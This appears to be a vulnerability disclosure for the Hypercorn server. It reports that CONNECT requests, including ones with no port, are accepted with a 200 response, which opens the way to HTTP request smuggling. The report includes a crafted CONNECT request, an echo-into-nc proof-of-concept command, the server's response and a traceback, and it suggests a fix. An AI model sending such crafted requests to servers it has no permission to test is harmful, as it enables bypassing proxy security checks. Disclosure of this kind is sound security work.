Misuse of the CONNECT Method
Summary
Hypercorn does not support proxy functionality, while the CONNECT method is not properly rejected, enabling attackers to exploit it for HTTP request smuggling attacks.
Details
RFC 9110 says this:
The
CONNECTmethod requests that the recipient establish a tunnel to the destination origin server identified by the request target and, if successful, thereafter restrict its behavior to blind forwarding of data, in both directions, until the tunnel is closed.
This means that the CONNECT method is intended solely for establishing a tunnel to the server identified by the target resource, and its usage is strictly confined to proxy environments. Hypercorn does not support proxy functionality and fails to reject CONNECT method requests. An attacker can craft a malicious HTTP request which causes HTTP Request Smuggling.
Example
CONNECT victim.com:443 HTTP/1.1\r\n
Host: victim.com\r\n
\r\n
Suggested action
HTTP servers that do not support proxy functionality should strictly reject any CONNECT method requests and respond with an appropriate error (e.g., 405 Method Not Allowed or 400 Bad Request).
PoC
The example request is embedded in the previous section. Send the request to the server, e.g. by echo -ne into nc.
Impact
This bug enables attackers to use HTTP request smuggling techniques to bypass front-end proxy security checks, thereby delivering malicious requests to the backend server. This may result in unauthorized access to or leakage of sensitive resources, potentially leading to more severe security risks.
The version we tested was 84d06b8.
Hello, my above explanation is not rigorous enough. Here is my new explanation.
RFC 9112 says this:
A server MUST reject a
CONNECTrequest that targets an empty or invalid port number, typically by responding with a400 (Bad Request)status code.
However, hypercorn does not reject such CONNECT request, and does not establish a proxy connection. It responses with 200 OK.
For example:
CONNECT victim.com HTTP/1.1\r\n
Host: victim.com\r\n
\r\n
$ echo -ne "CONNECT victim.com HTTP/1.1\r\nHost: victim.com\r\n\r\n" | nc 172.18.0.10 80
HTTP/1.1 200
content-length: 121
date: Thu, 20 Mar 2025 09:12:56 GMT
server: hypercorn-h11
Here are some logs:
[2025-03-20 09:12:56 +0000] [10] [ERROR] Error in ASGI Framework
Traceback (most recent call last):
File "/usr/local/lib/python3.10/dist-packages/hypercorn/asyncio/task_group.py", line 27, in _handle
await app(scope, receive, send, sync_spawn, call_soon)
File "/usr/local/lib/python3.10/dist-packages/hypercorn/app_wrappers.py", line 34, in __call__
await self.app(scope, receive, send)
File "/app/server.py", line 32, in app
await send({
File "/usr/local/lib/python3.10/dist-packages/hypercorn/protocol/http_stream.py", line 192, in app_send
await self.send(
File "/usr/local/lib/python3.10/dist-packages/hypercorn/protocol/h11.py", line 142, in stream_send
await self._send_h11_event(h11.Data(data=event.data))
File "/usr/local/lib/python3.10/dist-packages/hypercorn/protocol/h11.py", line 249, in _send_h11_event
data = self.connection.send(event)
File "/usr/local/lib/python3.10/dist-packages/h11/_connection.py", line 512, in send
data_list = self.send_with_data_passthrough(event)
File "/usr/local/lib/python3.10/dist-packages/h11/_connection.py", line 537, in send_with_data_passthrough
self._process_event(self.our_role, event)
File "/usr/local/lib/python3.10/dist-packages/h11/_connection.py", line 272, in _process_event
self._cstate.process_event(role, type(event), server_switch_event)
File "/usr/local/lib/python3.10/dist-packages/h11/_state.py", line 293, in process_event
self._fire_event_triggered_transitions(role, _event_type)
File "/usr/local/lib/python3.10/dist-packages/h11/_state.py", line 311, in _fire_event_triggered_transitions
raise LocalProtocolError(
h11._util.LocalProtocolError: can't handle event type Data when role=SERVER and state=SWITCHED_PROTOCOL